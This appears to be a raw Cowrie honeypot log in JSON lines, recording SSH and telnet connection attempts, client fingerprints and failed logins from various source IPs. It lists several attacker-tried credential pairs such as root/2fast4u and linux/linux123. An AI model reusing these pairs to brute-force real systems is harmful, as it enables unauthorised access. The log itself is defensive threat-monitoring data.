{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:15.438783Z","src_ip":"31.59.89.180","session":"f50d1a0c52a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:15.556381Z","src_ip":"31.59.89.180","session":"f50d1a0c52a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:16.013893Z","src_ip":"31.59.89.180","session":"f50d1a0c52a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:16.398357Z","src_ip":"20.12.41.6","session":"f1ad71be9ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":32890,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad0307ded4e7","protocol":"ssh","message":"New connection: 47.86.95.62:32890 (10.17.0.5:22) [session: ad0307ded4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:17.052041Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:17.124427Z","src_ip":"31.59.89.180","session":"f50d1a0c52a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:27.841337Z","src_ip":"47.86.95.62","session":"5d131b8224bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":49398,"dst_ip":"159.203.135.109","dst_port":22,"session":"52efaada4992","protocol":"ssh","message":"New connection: 209.99.184.143:49398 (159.203.135.109:22) [session: 52efaada4992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:28.246279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:28.252831Z","src_ip":"209.99.184.143","session":"52efaada4992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:28.345697Z","src_ip":"209.99.184.143","session":"52efaada4992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fecjl1yg","password":"3sScGbQLYlTZvYdQqsZA","message":"login attempt [fecjl1yg/3sScGbQLYlTZvYdQqsZA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:28.746822Z","src_ip":"209.99.184.143","session":"52efaada4992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"1433979e2bad","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 1433979e2bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:29.431035Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:29.550316Z","src_ip":"77.90.185.16","session":"1433979e2bad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:29.841963Z","src_ip":"209.99.184.143","session":"52efaada4992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e79b7c3fa8c","protocol":"ssh","message":"New connection: 118.26.36.248:54928 (159.203.135.109:22) [session: 9e79b7c3fa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:10.312892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:10.318273Z","src_ip":"118.26.36.248","session":"9e79b7c3fa8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:10.532090Z","src_ip":"118.26.36.248","session":"9e79b7c3fa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:11.415593Z","src_ip":"118.26.36.248","session":"9e79b7c3fa8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:12.633224Z","src_ip":"118.26.36.248","session":"9e79b7c3fa8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":43758,"dst_ip":"10.17.0.5","dst_port":22,"session":"648f14e851f8","protocol":"ssh","message":"New connection: 43.153.27.162:43758 (10.17.0.5:22) [session: 648f14e851f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:14.877846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:14.882377Z","src_ip":"43.153.27.162","session":"648f14e851f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:14.950558Z","src_ip":"43.153.27.162","session":"648f14e851f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:15.256270Z","src_ip":"43.153.27.162","session":"648f14e851f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:16.328224Z","src_ip":"43.153.27.162","session":"648f14e851f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":50984,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1d0a40417ba","protocol":"ssh","message":"New connection: 47.86.95.62:50984 (10.17.0.5:22) [session: f1d0a40417ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:18.765473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:18.809270Z","src_ip":"47.86.95.62","session":"f1d0a40417ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:18.978019Z","src_ip":"47.86.95.62","session":"f1d0a40417ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":50626,"dst_ip":"159.203.135.109","dst_port":22,"session":"433cdd244949","protocol":"ssh","message":"New connection: 61.222.211.114:50626 (159.203.135.109:22) [session: 433cdd244949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:36.700906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:36.706429Z","src_ip":"61.222.211.114","session":"433cdd244949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:36.911153Z","src_ip":"61.222.211.114","session":"433cdd244949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2fast4u","message":"login attempt [root/2fast4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:37.758508Z","src_ip":"61.222.211.114","session":"433cdd244949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:38.966837Z","src_ip":"61.222.211.114","session":"433cdd244949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":37244,"dst_ip":"159.203.135.109","dst_port":22,"session":"81025a651442","protocol":"ssh","message":"New connection: 31.59.89.180:37244 (159.203.135.109:22) [session: 81025a651442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:40.301906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:40.306718Z","src_ip":"31.59.89.180","session":"81025a651442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:40.418473Z","src_ip":"31.59.89.180","session":"81025a651442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysbin","message":"login attempt [root/sysbin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:40.897836Z","src_ip":"31.59.89.180","session":"81025a651442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:42.013959Z","src_ip":"31.59.89.180","session":"81025a651442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":43812,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae1a03dbc43","protocol":"ssh","message":"New connection: 20.12.41.6:43812 (10.17.0.5:22) [session: 2ae1a03dbc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:42.053365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:42.058489Z","src_ip":"20.12.41.6","session":"2ae1a03dbc43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:42.073777Z","src_ip":"20.12.41.6","session":"2ae1a03dbc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blehbleh","message":"login attempt [root/blehbleh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:42.166022Z","src_ip":"20.12.41.6","session":"2ae1a03dbc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:03:43.184562Z","src_ip":"20.12.41.6","session":"2ae1a03dbc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:17.057221Z","src_ip":"47.86.95.62","session":"ad0307ded4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51850,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6bfa113e17d","protocol":"ssh","message":"New connection: 47.86.95.62:51850 (10.17.0.5:22) [session: f6bfa113e17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:19.846143Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.236.109.13","src_port":60552,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c55df5ad494","protocol":"telnet","message":"New connection: 203.236.109.13:60552 (10.17.0.5:23) [session: 1c55df5ad494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:22.629660Z"}
